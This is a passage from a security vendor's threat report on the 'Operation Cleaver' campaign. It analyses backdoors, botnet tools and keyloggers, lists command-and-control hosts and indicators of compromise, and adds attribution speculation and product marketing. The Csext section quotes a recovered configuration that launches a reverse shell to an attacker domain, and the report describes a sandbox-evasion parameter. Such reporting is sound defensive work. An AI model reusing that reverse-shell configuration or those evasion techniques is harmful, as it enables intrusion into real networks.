r\xc3\xa9sum\xc3\xa9 to Teledyne. When executed, the user is prompted to enter personal information, and at the end is given a button to submit the r\xc3\xa9sum\xc3\xa9 to Teledyne, although nothing is actually submitted. While the user enters this information, their machine is infected with TinyZBot. The AppUsageIds for these versions target a major US-based university as well as an Israeli aerospace company. These versions began to include a new method of installing as a service. The service runs with the name Network Connectivity Manager. Interesting Notes TinyZBot, as well as some other tools (Csext, Net Crawler) initially would not run without a command line parameter set. This was likely to avoid detonation-based detection engines. This command line parameter was opensesemi which is often stored in the application\xe2\x80\x99s code in an obfuscated manner. The binders and droppers for TinyZBot provided this command line argument and others when executing. TinyZBot uses a dynamic mutex. This was accomplished by combining a static preset prefix with the active process ID. This allowed supplemental tools to keep TinyZBot running by enumerating every process and checking if the process ID and mutex prefix existed. If no mutex and process pair was located, another TinyZBot instance would be started. #OPCLEAVER 55 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Command and Control Servers \xe2\x80\xa2 88.150.214.168, United Kingdom, microsoftactiveservices(dot)com \xe2\x80\xa2 95.211.241.249, Amsterdam, Noord-Holland, Netherlands \xe2\x80\xa2 88.150.214.166, United Kingdom \xe2\x80\xa2 173.192.144.68, Seattle, Washington, USA \xe2\x80\xa2 188.227.180.213, United Kingdom \xe2\x80\xa2 192.111.145.197, Rochester, New York, USA Backdoors Multiple backdoors were used by this organization. These are scripts or applications that allowed for command or code execution outside of the victim network. Many of their backdoors were web applications, added to web servers, so commands can be executed from a browser or client able to communicate with them. This group includes the results of the Shell Creator mentioned in the Attribution section, as well as ASPX backdoors used by Nesha. A PHP shell was also observed, which also included attribution to Nesha in its hashed password. An ASPX backdoor named Zh0uSh311 was located on live servers as well as recovered from a staging server. This backdoor does not require authentication, and its use appears to be straightforward. Its functionality breaks down into three fairly standard components: SQL queries, executing commands, and uploading files. Figure 24: The ASPX backdoor named \xe2\x80\x9cZh0uSh3ll\xe2\x80\x9d, allowing SQL queries. OPERATION CLEAVER 56 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 This organization utilized backdoors which masqueraded as varying versions of Notepad. They replace the existing Notepad.exe on the infected machine, and when run they call out to a remote server and execute any shell code returned by the remote server. There will be a detailed analysis of these backdoors posted to Cylance\xe2\x80\x99s blog in the future. PVZ PVZ is a name for a set of executables used together to create a botnet. The name PVZ was assigned by us as this is one of the few tools this organization has not named themselves. Figure 25: The ASPX backdoor named \xe2\x80\x9cZh0uSh3ll\xe2\x80\x9d, allowing file #OPCLEAVER 57 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 PVZ (cont.) The components are as follows: \xe2\x80\xa2 PVZ-In \xe2\x80\xa2 PVZ-Out \xe2\x80\xa2 Syn Flooder \xe2\x80\xa2 LoggerModule \xe2\x80\xa2 XYNTService \xe2\x80\xa2 Jasus XYNTService was not developed by the Cleaver team, but instead is a publicly available project which executes an executable as a service. PVZ-In The purpose of PVZ-In is to communicate with a command and control server. Communication is primarily unidirectional, as little information is provided from the bot to its command and control server. The known command and control server is located at http://kundenpflege. menrad(dot)de/js/jquery/default.aspx and the command and control protocol only uses HTTP. The commands as well as infected computer information are transferred in the Content- Disposition HTTP header, making the traffic easy to pass over as benign. When a command is received from the server, the results are stored in a central location on disk that the PVZ tools utilize. Command functionality is limited to executing supplied commands, downloading and executing executables as well as self-updating. The debug file path for PVZ-In is: C:\\Users\\parviz\\documents\\visual studio 2010\\Projects\\BotManager\\ Release\\BotManager.pdb PVZ-In has been observed using the file name ossisvc.exe. PVZ-Out PVZ-Out is the other half of the command and control channel, primarily uploading results of commands and keystroke logging data to a remote server. The known command and control server for PVZ-Out is located at http://www.gesunddurchsjahr(dot)de/tor/default.aspx. Much like PVZ-In, this command and control channel communicates with the Content-Disposition HTTP header, but for file data, POST data is supplied. OPERATION CLEAVER 58 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Data uploaded is often compressed, which can make it more difficult to detect the exfiltration of sensitive information. The debug file path for PVZ-Out is: C:\\Users\\Parviz\\documents\\visual studio 2010\\Projects\\SendModule\\ Release\\SendModule.pdb PVZ-Out has been observed with the file name osppsvc.exe. SYN Flooder SYN Flooder is a simple network based denial of service tool. It is a command line utility capable of being invoked by PVZ-In. Targeting information is supplied via command line parameters. The debug file path for SYN Flooder is: C:\\Users\\parviz\\Documents\\Visual Studio 2010\\Projects\\socket-test\\ Release\\socket-test.pdb SYN Flooder has been observed using the name ossysvc.exe. Logger Module Logger Module observes the user\xe2\x80\x99s actions and records them to a file. The recorded actions include mouse clicks, active windows, keypresses, as well as clipboard data. The resulting log is written out to a location where PVZ-Out can exfiltrate it to its command and control server. Logger Module has been observed using the name ospcsvc.exe. The following command and control servers for Logger Module have been observed: 212.87.154.14, Baden-Wurttemberg, Germany, kundenpflege.menrad(dot)de 212.87.154.12, Baden-Wurttemberg, Germany, www.gesunddurchsjahr(dot)de wndTest WndTest is the evolution of the PVZ tool chain into a single executable. The tool chain is minimized down to a command and control communications, keystroke logging, and clipboard monitoring. The command and control still supports upgrading, downloading, and executing of applications, as well as executing batch scripts. WndTest installs as a service and has been observed attempting to impersonate Adobe Report Service. WndTest starts using PHP servers for its command and control server, some of which are listed as defaced sites. #OPCLEAVER 59 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 We have seen wndTest communicate with the following servers: \xe2\x80\xa2 209.208.97.44, Orlando, Florida, USA, www.lat(dot)am \xe2\x80\xa2 23.238.17.181, Tulsa, Oklahoma, USA, regulatorfix(dot)com \xe2\x80\xa2 209.208.97.44, Orlando, Florida, USA, www.asiess(dot)com \xe2\x80\xa2 198.50.100.210, Quebec, Canada, halon(dot)com.br \xe2\x80\xa2 207.182.142.68, Columbus, Ohio, USA \xe2\x80\xa2 95.211.191.247, Amsterdam, Noord-Holland, Netherlands Csext Csext is a backdoor application developed in C# which runs as a service. Its primary functionality is based on commands supplied by its configuration file. The configuration file is able to store specific commands, which are intended to run at particular times. A recovered configuration is as follows: domain1=srv01.microsoftwindowsupdate(dot)net,check.html,3 %% {0}\\{zhname}$$ -h -x -i {domain1} -p 443 -e c:\\windows\\system32\\cmd. exe ,taskkill.exe$$/F /PID {pid},00:29,00:35 %% ## This configuration executes zhCat to connect back to srv01.microsoftwindowsupdate(dot)net (a deceptive domain owned by this group with falsified Whois data attributing to Microsoft Investor Relations) with XORed communication using the HTTP protocol on TCP port 443. This zhCat instance is running cmd.exe, effectively making it a reverse connecting shell. This command runs at 00:29 in the morning, and is killed by taskkill at 00:35. This gives the attackers a predictable method to regain access to a compromised network if they ever lose access. Csext also has email functionality similar to TinyZBot. This email functionality is used to exfiltrate the results of commands from the command file which can also include requests like gathering user information. We have seen Csext configured to communicate with the following servers: \xe2\x80\xa2 78.47.102.90, Germany, srv01.microsoftwindowsupdate(dot)net \xe2\x80\xa2 174.36.195.158, Washington D.C, USA, srv01.microsoftupdateserver(dot) net OPERATION CLEAVER 60 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 MITIGATION COVER TTP COVER HERE MITIGATION #OPCLEAVER 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 #OPCLEAVER 61 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 MITIGATION If after reviewing the Indicators of Compromise (IOC) listed in Appendix A, you believe your organization to be a victim of Operation Cleaver, we recommend you consider the following course of action: 1. If inside the United States, contact the Federal Bureau of Investigation (FBI) via either your local FBI team or FBI CYWATCH at 1-855-292-3937 or cywatch@ic.fbi.gov. 2. If outside the United States, contact your local, district, state or federal law enforcement authorities. 3. If you have visibility into the attacks on your company and the tools and expertise to track them down, leverage the IOCs in Appendix A to identify their presence in your network, prevent them from expanding the scope of the compromise, and remove their access immediately. 4. If you do NOT have visibility into the attacks, need help identifying an existing successful compromise in your organization, or more importantly wish to prevent this attack or attacks similar to Operation Cleaver, please contact your security provider. 5. If you wish to contact Cylance for additional details not available in this report, please email opcleaver@cylance.com. 6. If you would like to learn more about Cylance products and professional services, or discuss how Cylance can mitigate Operation Cleaver\xe2\x80\x99s impact to your organization, please contact us directly. +1 (877) 973 - 3336 opcleaver@cylance.com www.cylance.com OPERATION CLEAVER 62 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 SPECULATION COVER TTP COVER HERE SPECULATION #OPCLEAVER 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 #OPCLEAVER 63 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 SPECULATION: THE WHY Iran in 2014 can probably be best described as galvanizing. They have long been an \xe2\x80\x9cenemy\xe2\x80\x9d of the west, and the United States in particular, but today\xe2\x80\x99s headlines include a variety of topics from nuclear talks to human rights to terrorism to cyber hacking. Iran continues to be extremely active on the global stage \xe2\x80\x93 and thereby on the radar of every superpower.10 Iran\xe2\x80\x99s cyber sophistication has grown rapidly since the dawn of Stuxnet and they have used hard dollars combined with national pride to help build their cyber army. Few doubt their commitment as a government and nation state to funding and recruiting cyber warriors to infiltrate and damage their enemies. And it has been commonly postulated that almost all activity since 2010 coming out of Iran is associated with retaliation for Stuxnet/Duqu/Flame, which seems natural given the severity of the impact. But they don\xe2\x80\x99t need Stuxnet as motivation to want to hack the world. They have long desired power on the political stage, in particular in the fight for nuclear power autonomy. With the deadlines around the Iranian nuclear discussions pushed to 2015, the attacks may be tied to negotiating power when discussing a pact with the nuclear superpowers of United States, Britain, France, Germany, Russia and China. The inner workings of the Iranian government remain largely a mystery to the western world. However, Iran\xe2\x80\x99s control over its people and the private businesses birthed inside has been well reported. In a 2014 Reuters article, the reporters detail how the secret Iranian organization called \xe2\x80\x9cSetad Ejraiye Farmane Hazrate Emam\xe2\x80\x9d has become one of the most powerful organizations in the country, capable of taking over properties and businesses, buying controlling interests in numerous sectors including finance, oil, telecommunications and many others totaling in upwards of $95B.11 Even the US Treasury has documented an extensive fronting of companies in its report of Execution of Imam Khomeini\xe2\x80\x99s Order (EIKO), which through its two main subsidiaries controls 37 private businesses that are purely front companies for the Iranian government.12 The history of Iran controlling the usage of the Internet and the very Internet on-ramps into Iran is well known13, 14. They have controlled much of the country\xe2\x80\x99s Internet access to date and have taken over controlling interests in those companies to carry out their work. Given Operation Cleaver\xe2\x80\x99s frequent spin-up and take-down of large IP blocks inside the AFRANET IP space inside Iran, and Iran\xe2\x80\x99s well recorded investment in cyber warfare14 leads us to one simple conclusion: Iran is extremely active in the world of hacking. OPERATION CLEAVER 64 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Speculation: The Why (cont.) Involvement with North Korean Operation Cleaver\xe2\x80\x99s intense focus on critical infrastructure companies, especially in South Korea, hints at information sharing or joint operations with Iran\xe2\x80\x99s partner, North Korea. In September, 2012, Iran signed an extensive agreement for technology cooperation agreement with North Korea, which allows for collaboration on a variety of efforts including IT and security.6 Cyber Moving to Physical Operation Cleaver\xe2\x80\x99s carefully selected targets like the oil and gas industry, energy and utility companies, as well as airlines and airports, indicates Iran\xe2\x80\x99s desire to gain deep access into the world\xe2\x80\x99s most critical environments. The end goal of this operation is not known at this time. University Recruitment University student recruitment was hinted at within Operation Cleaver and is consistent with Iran\xe2\x80\x99s reported history of active warrior recruitment in the educational space.15 Overall, there are many reasons that Iran may be pursuing the targets they did in Operation Cleaver. While we may never truly know, it is important to consider all the above and more when trying to understand the why. #OPCLEAVER CONCLUSION 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 66 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 CONCLUSION After tracking the Operation Cleaver team for over two years, we\xe2\x80\x99re led to the inexorable conclusion: the government of Iran, and particularly the Islamic Revolutionary Guard Corps (IRGC), is backing numerous groups and front entities to attack the world\xe2\x80\x99s critical infrastructure. As security experts in Critical Infrastructure and Key Resources (CIKR), Industrial Control Systems (ICS), Supervisory Control and Data Acquisition (SCADA) systems, Building Management Systems (BMS), embedded systems and fixed-function systems, we know how easy they are to hack. We have worked with countless customers and vendors throughout the years to notify them of vulnerabilities, assist with remediatation efforts, and help mitigate threats to their environments. Unfortunately, many critical infrastructure organizations are unable to secure their complex envirnoments against modern attacks. They fall victim to the \xe2\x80\x9cglue flu\xe2\x80\x9d, a malaise of feeling stuck, not wanting to change the status quo for fear they will find problems that they have no idea how to prevent. This \xe2\x80\x9csecurity anaphylaxis\xe2\x80\x9d spells real disaster. If Operation Cleaver doesn\xe2\x80\x99t get the world to wake up to what is happening in the silent world of cyber, then perhaps nothing will. Prevention is everything and we should never give up until it\xe2\x80\x99s achieved. Challenge your trusted advisors. Challenge your security vendors. Demand better technology and services to detect, respond, but most importantly PREVENT not just contemporary attacks, but future exotic attacks that have yet to be imagined. That is what truly disruptive and innovative technology is. Don\xe2\x80\x99t settle for anything less. We hope that by exposing the Operation Cleaver team to the world, current global critical infrastructure victims can be notified, and prevent future victimization from suffering the consequences of \xe2\x80\x9cstatus quo\xe2\x80\x9d security. Unlike United Flight 811, perhaps we can prevent the next disaster. DEFENDERS, NEVER GIVE UP! #OPCLEAVER 67 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 REFERENCES [1] Aboard Flight 811: Passengers\xe2\x80\x99 Routine Dissolves Into Terror - February 1989 http://www.nytimes.com/1989/02/26/us/aboard-flight-811-passengers-routine-dissolves-into-terror.html [2] \xe2\x80\x9cForget China: Iran\xe2\x80\x99s Hackers Are American\xe2\x80\x99s Newest Cyber Threat\xe2\x80\x9d - February 2014 http://complex.foreignpolicy.com/posts/2014/02/18/forget_china_iran_s_hackers_are_america_s_newest_cyber_ threat [3] \xe2\x80\x9cDevelopments in Iranian Cyber Warfare 2013-2014\xe2\x80\x9d - August 2014 http://www.inss.org.il/uploadImages/systemFiles/SiboniKronenfeld.pdf [4] \xe2\x80\x9cIran ups cyber attacks on Israeli computers: Netanyahu\xe2\x80\x9d - June 2013 http://uk.reuters.com/article/2013/06/09/us-israel-iran-cyber-idUKBRE95808H20130609 [5] \xe2\x80\x9cIranians hacked Navy network for four months? Not a surprise.\xe2\x80\x9d - February 2014 http://arstechnica.com/information-technology/2014/02/iranians-hacked-navy-network-for-4-months-not-a-surprise/ [6] \xe2\x80\x9cIran and North Korea Sign Technology Treaty to Combat Hostile Malware\xe2\x80\x9d - September 2012 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware# [7] \xe2\x80\x9cIran\xe2\x80\x99s Paramilitary Militia Is Recruiting Hackers\xe2\x80\x9d - January 2011 http://www.forbes.com/sites/jeffreycarr/2011/01/12/irans-paramilitary-militia-is-recruiting-hackers/ [8] \xe2\x80\x9cThe Iranian Nuclear Weapon\xe2\x80\x9d - January 2014 http://webcache.googleusercontent.com/search?q=cache:eJbMz7vynpQJ:iranredline.org/index. php%3Fid%3D22+&cd=1&hl=en&ct=clnk&gl=us [9] \xe2\x80\x9cHPSR Threat Intelligence Briefing Episode 11, February 2014\xe2\x80\x9d - February 2014 http://www8.hp.com/h20195/v2/getpdf.aspx/4AA5-1589ENW.pdf?ver=1.0 [10] \xe2\x80\x9cIntel boss\xe2\x80\x99 warning on cyber attacks no joke, say experts\xe2\x80\x9d - November 2014 http://www.foxnews.com/world/2014/11/23/intel-boss-warning-on-cyber-attacks-no-joke-say-experts/ [11] \xe2\x80\x9cKhamenei controls massive financial empire built on property seizures\xe2\x80\x9d - November 2013 http://www.reuters.com/investigates/iran/#article/part1 [12] \xe2\x80\x9cTreasury Targets Assets of Iranian Leadership\xe2\x80\x9d - June 2013 http://www.treasury.gov/press-center/press-releases/Pages/jl1968.aspx [13] \xe2\x80\x9cInternet Censorship in Iran\xe2\x80\x9d http://en.wikipedia.org/wiki/Internet_censorship_in_Iran [14] \xe2\x80\x9cIranian Internet - Fact and Faction\xe2\x80\x9d http://surveillance.rsf.org/en/iran/ [15] \xe2\x80\x9cIran readying hacker attacks on U.S. infrastructure, specialists say\xe2\x80\x9d - April 2012 http://www.washingtontimes.com/news/2012/apr/25/iran-readying-hacker-attacks-us-infrastructure-spe/?page=all OPERATION CLEAVER 68 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 ABOUT CYLANCE In the face of growing and evolving threats, traditional cyber protection technologies are now widely considered inadequate. The only way to regain the upper hand against a new generation of attackers, is to embrace something entirely new. Something that \xe2\x80\x9cthinks\xe2\x80\x9d like an attacker. Something that doesn\xe2\x80\x99t rely on a trust model or care about hash lookups. Something with a brain. \xe2\x80\x9cThe world has combated cyber threats by doing the same thing over and over again ... it\xe2\x80\x99s the definition of insanity!\xe2\x80\x9d Jeff Moss - Co-Chair of the DHS Community Resiliency Task Force & Founder of BlackHat and DEFCON security conferences Cylance has eschewed the old foundations that existing cybersecurity products are built upon. Instead, we\xe2\x80\x99ve based our approach on mathematics, machine learning, and data science. This algorithmic approach has been proven to detect \xe2\x80\x93 and stop \xe2\x80\x93 exponentially more modern threats. Leveraging algorithmic risk modeling, CylancePROTECT protects endpoints from everyday viruses, worms, trojans, and spyware, but unlike other security products, CylancePROTECT offers true future-proof protection against the most malicious threats in the world. Advanced Persistent Threats (APT), 0-days, and exotic exploitation techniques are easily detected and halted with little-to-no impact on the end-user. Existing reactive solutions rely on a constant stream of signature updates for threat detection, which is not only costly and inconvenient, but also requires \xe2\x80\x9csacrificial lambs\xe2\x80\x9d. Only after a previously unseen threat has inflicted damage can the rest of the industry begin to detect it. CylancePROTECT doesn\xe2\x80\x99t require constant updates or even a network connection to protect against so-called \xe2\x80\x9cpreviously undetectable\xe2\x80\x9d threats. By identifying and defusing attacks in near real time, before the attack can execute, we can finally do away with the need for a \xe2\x80\x9cpatient zero\xe2\x80\x9d. As Richard Stiennon, Chief Research Analyst at IT-Harvest, put it, \xe2\x80\x9cMany vendors are trying to solve the endpoint problem, yet Cylance is the only one using the power of math to stop malware and with more effectiveness and efficiency than current solutions\xe2\x80\x9d. Interested in seeing what CylancePROTECT can do for your organization? Contact us! Cylance is one of the fastest growing cybersecurity technology firms in the US. Cylance\xe2\x80\x99s flagship product CylancePROTECT has been adopted by Fortune 500 companies and government agencies across the globe. Cylance was founded by 27-year security industry luminary, Stuart McClure, former Global CTO of McAfee, original founder of Foundstone, and lead author of the international best-selling book Hacking Exposed. In building Cylance, Stuart brought together the best scientific and executive minds from the likes of Cisco, Sourcefire, Google and McAfee. The Cylance board of advisors includes former high-ranking officials from the DHS, the FBI, CIA, and executive titans of business. #OPCLEAVER 69 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 CYLANCE PRODUCTS CylancePROTECT is the only next generation endpoint security product that applies math to mute existing and future malware, viruses, worms, trojans, bots, APTs, 0-days, exploits, adware, spyware and hacking tools \xe2\x80\x93 without needing any updates or even a connection to the Internet. The technology is founded on the principle that to fix the industry, you must start from scratch with a way as yet unseen. CylancePROTECT does not rely on signatures of any sort (blacklist or whitelist), behavioral analysis using IOCs, sandboxing analysis, heuristics, micro-virtualization, or dynamic detonation \xe2\x80\x93 to detect and prevent malicious files from executing on a target endpoint. While every other endpoint security product must collect a sample, analyze, and write a signature to detect it, CylancePROTECT can detect malware before it executes by statically analyzing features found in the binary itself. Features and Benefits of CylancePROTECT: \xe2\x80\xa2 Near real time detection of malicious files, even if they\xe2\x80\x99ve never been seen in the wild. \xe2\x80\xa2 Can be used to augment existing endpoint security or be deployed as a complete replacement. \xe2\x80\xa2 Does not require any signature updates or connection to the cloud. \xe2\x80\xa2 An easy-to-use web management console with intuitive workflows. \xe2\x80\xa2 Low-impact endpoint agent. For a demo of CylancePROTECT, contact a Cylance expert today! Figure 26: Cylance products detect and stop all the malware used in Operation Cleaver, even though the vast majority of the samples are completely missed by the antivirus industry as of this report\xe2\x80\x99s publication. OPERATION CLEAVER 70 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 CYLANCE SERVICES Cylance\xe2\x80\x99s Professional Services team is available to assist companies affected by this campaign. Cylance is providing consulting to companies that may have been targeted by these advanced threat actors. Cylance will perform initial triage in order to determine the extent to which your company has been affected by this campaign and work towards establishing a containment strategy. Cylance has two tailored offerings for clients affected by this campaign. The first one includes ICS in our incident response since many companies affected are in the Critical Infrastructure and Key Resources (CIKR) vertical. The second offering\xe2\x80\x99s focus is to deploy our proprietary tools and methodologies to detect and mitigate the threats posed by Operation Cleaver. Option 1: ICS Incident Response & APT Detection and Mitigation Option 2: Detection, Remediation, & Mitigation For more information on how the Cylance Professional Services team can assess and respond to attacks like the ones obseved in Operation Cleaver, contact sales@cylance.com today. CUSTOM SERVICES FORENSIC INVESTIGATIONS INCIDENT RESPONSE PENETRATION TESTING COMPROMISE ASSESSMENTS Uncover previously undiscovered breach and damage. Stop the threat, mitigate risk, and remediate. Check the integrity of your environment and infrastructure. Dig into who, what, where, and when a compromise occurred. Get expert help that addresses YOUR security needs. #OPCLEAVER 71 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 ACKNOWLEDGMENTS Brian Wallace Brian is a Sr. Security Researcher for Cylance who joined shortly after the company was established. He is best known for his avid botnet research (often going by \xe2\x80\x9cbotnet_hunter\xe2\x80\x9d) and for his novel malware analysis in the A Study in Bots blog series hosted by Cylance. Brian has been a dedicated open-source developer as well as an advocate for public and private anti-botnet operations. Brian actively develops techniques to combat cyber oppositions in positions where resources and leverage are in too limited of supply for conventional means. These techniques, cultivated by Stuart McClure, are the Art of Deterrence. In a previous investigation, Art of Deterrence techniques were successfully used to divert Indonesian hackers motivated by monetary gain away from their highest yielding target group. Brian\xe2\x80\x99s botnet research covers a wide range of topics, from using graph analysis to estimate the amount of ransom that has been paid to a ransomware operator, to utilizing IPv4 scanning techniques to identify and take down point of sale malware panels. Stuart McClure Stuart is founder, CEO/President and Chairman of Cylance. Widely recognized for his extensive and in-depth knowledge of security products, Stuart McClure is considered one of the industry\xe2\x80\x99s leading authorities in information security today. A well-published and acclaimed security visionary with currently eleven books in print, McClure is the originating founder of the Hacking Exposed series of books, the most successful security book ever written. From his work, he founded Foundstone in October of 1999 which sold to McAfee in 2004. McClure brings over two decades of technology and executive leadership with profound technical, operational, and financial experience. Besides Foundstone, Stuart held leadership positions at InfoWorld, Ernst & Young, Kaiser Permanente and a number of government agencies. At McAfee, McClure held numerous positions including SVP/General Manager for the Security Management BU as well as EVP/Global Chief Technology Officer responsible for almost $3B worth of revenues. Today, McClure is CEO of Cylance, a disruptive and innovative startup applying math to the problem of security. Cylance products such as CylancePROTECT prevent the most advanced attacks in the world without signatures or sandboxing in realtime on the endpoint. Cylance Services offer highly specialized security services such as incident response, forensics, compromise assessments and advanced penetration assessments for global critical infrastructure. Cylance Team Cylance employees work passionately and tirelessly every day to achieve one goal: Protect the world from cyber attacks. And with their efforts in tracking Operation Cleaver, they have achieved that goal. Our endless thanks to all the Cylancers who contributed to this report. OPERATION CLEAVER 72 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 THE OPERATION CLEAVER LOGO The Operation Cleaver logo, created by Cylance specifically for this report, was inspired by the infamous logo used by the Army of the Guardians of the Islamic Revolution, also known in the west as the Iranian Revolutionary Guard Corps (IRGC). Due to the close connection between the members tracked in this report and the IRGC, it was only fitting to replicate the look and feel of the IRGC\xe2\x80\x99s iconography as the anchor for this document\xe2\x80\x99s branding. Army of the Guardians of the Islamic Republic (IRGC) The striking visual elements that make up the logo of the IRGC have very specific meanings: \xe2\x80\xa2 The clenched fist holding a rifle, most likely an AK-47, represents armed resistance. \xe2\x80\xa2 The globe symbolizes the IRGC\xe2\x80\x99s worldwide ambitions. \xe2\x80\xa2 The book, from which the clenched first emanates, represents the Qur\xe2\x80\x99an, connecting the religious ideals on which the group was founded to the armed struggle. \xe2\x80\xa2 The plants, possibly wheat, represent prosperity. \xe2\x80\xa2 The name of the group in Persian, the year in which it was founded and a passage from the Qur\xe2\x80\x99an (8:60) \xe2\x80\x98And make ready against them all you can of power\xe2\x80\x99, are represented in text. 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Operation Cleaver Several of the visual elements present in the IRGC logo have been carried over to the Operation Cleaver logo including: \xe2\x80\xa2 A clenched fist, this time holding a cleaver, represents the group\xe2\x80\x99s likely connection with the IRGC as well as armed resistence in general. \xe2\x80\xa2 The globe in the background represents Operation Cleaver\xe2\x80\x99s worldwide reach. \xe2\x80\xa2 An ethernet cable connected to the clenched first represents the nature of these attacks (cyber as opposed to traditional warfare). \xe2\x80\xa2 The hex string translates to \xe2\x80\x9cThink Evil, Do Good\xe2\x80\x9d, a mantra our research team lives by. #OPCLEAVER APPENDIX A: INDICATORS OF COMPROMISE 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 74 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Indicators of Compromise (IOC) This Appendix details the IOCs discovered in the investigation of Operation Cleaver. CylancePROTECT prevents the malware used in Operation Cleaver from ever executing. Domains doosan-job(dot)com downloadsservers(dot)com drivercenterupdate(dot)com easyresumecreatorpro(dot)com googleproductupdate(dot)com googleproductupdate(dot)net kundenpflege.menrad(dot)de microsoftactiveservices(dot)com microsoftmiddleast(dot)com microsoftonlineupdates(dot)com microsoftserverupdate(dot)com microsoftupdateserver(dot)net microsoftwindowsresources(dot)com microsoftwindowsupdate(dot)net northropgrumman(dot)net teledyne-jobs(dot)com windowscentralupdate(dot)com windowssecurityupdate(dot)com windowsserverupdate(dot)com windowsupdateserver(dot)com www.gesunddurchsjahr(dot)de Email Addresses Used for Domain Registration davejsmith200(at)outlook.com salman.ghazikhani(at)outlook.com btr.8624(at)yahoo.com ghanbarianco(at)gmail.com azlinux73(at)gmail.com domain(at)netafraz.com tarh.andishan(at)yahoo.com ahmadi(at)odeconline.com kafe0(at)yahoo.com dg_co(at)yahoo.com zahiry_alireza(at)yahoo.com zahiry.alireza(at)gmail.com #OPCLEAVER 75 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Email Addresses Used for Exfiltration testmail_00001(at)yahoo.com TerafficAnalyzer(at)yahoo.com dyanachear(at)beyondsys.com IP Addresses 50.23.164.161 64.120.128.154 64.120.208.74 64.120.208.75 64.120.208.76 64.120.208.78 64.120.208.154 66.96.252.198 78.109.194.114 80.243.182.149 87.98.167.71 87.98.167.85 87.98.167.141 88.150.214.162 88.150.214.166 88.150.214.168 88.150.214.170 Mutexes ZSC1 Adobe Report Service Bmgr Dynamic Mutexes These mutexes are used with the process ID of the malware as a suffix: demdaramdidam ILoveThisMutex 95.211.191.225 95.211.191.247 95.211.241.249 95.211.241.251 108.175.152.230 108.175.153.158 159.253.144.209 173.192.144.68 174.36.195.158 184.82.158.18 184.82.181.48 188.227.180.213 192.111.145.197 203.150.224.249 207.182.142.68 212.87.154.12 212.87.154.14 OPERATION CLEAVER 76 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Installed Services Names COM+ System Extentions COM__System_Extentions Network Connectivity Manager Service1 MsNetMonitor Pcapins scManagerSvc CredentialSync Adobe Report Service Samples (MD5) Listed below are both the MD5 and SHA-256 hashes for samples related to Operation Cleaver. 01606d42c64e4d15ea07d4e1fbd0c40d 0405adfc8739025ba88c746c8edebfb8 04fdf5b757764af8bc7ef88e0f8fe8c1 0512c5a8807e4fdeb662e61d81cd1645 0593352cadb2789c19c2660e02b2648b 08eabb6164b1b12307931e4f2d95f7c6 0900c3319e4c46ff9478e3e1fa9528a1 0acd8945bd162e5e7aa982cddbd8ecaa 0ad6a01a916f14fc24fa43e46813b3bb 0b2cbfa07fa9a090b35a3dfdb0ebad9d 0b80a8d2c56789b4bda9a56a53e7e2b1 0f4b526d8edf1d3d32c81a692c325733 10d019932fc43e9b39be709f8281203d 1223e93dd4a5ad0536c8232936cb35fe 144064951cceaf1bb81e8f215de76101 14a80287490f3a68d99c0f518b246fd2 17d1f25185b31044eb89a99d50d36a26 18942a44d2b5f2bbf54e2c18ac293915 18efd3f66d23c5c555e128a19de63667 19d9b37d3acf3468887a4d41bf70e9aa 1c2bc564805695dbb3a26d9c9f7dffea 1c7e40443e36c4b7592617f0a271835d 1d8fd8c357907a79f3e6d9f831f2bd7d 21829130d5e2a69b0f6963c68b070127 2e36a3f3b888c1fd3c3aa3f1ba7969ad 30120cf30ea4d870635893cd75338f97 304f7f17031af90012d4e4d1cc5cfb8a 336b501bd96e309f93c8d12960634248 38998ff6f9a3874b6943d7ac837d19c3 #OPCLEAVER 77 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Samples (MD5) cont. 3b6260ead85b4f0d706203e062a34a21 41eeae4158152f49ab64601c4358a7a1 42714874f86fa9bd97e9be460d7d72c0 42e459d1d057bd937e0d00958e591f08 48dd515e2b148493cf47b0c0c5713573 491f031d0a9ad4919cb29cb2d9a9a65c 4e483762f555b078976a1ddf3fc3e532 53230e7d5739091a6eb51298a50eb616 537b42d3cd9812e5b583131b83a48508 53841511791e4cac6f0768a9eb5def8a 54def27d598b75f297a8cf2c97150997 5837ad676f6c0f0f4f48096648d6e81b 5a4046fd0825641766b197a2132d2410 5e5d6469b270aa60dc90ddfde32ba082 5eef1ee37714c9ee07653419890010d6 6061410c04b9fa9e47593611a02ff2dd 6094f64d54575a2d5a3fbd2d23c4f44e 61896424e995476b23f73a5c1c34af5e 61e307a651a7bbce78eb48c1d395501a 636c2d2855ac8a8693c4ef9e89c67205 641fc6831d8c215e9645cf5d4a8be5e5 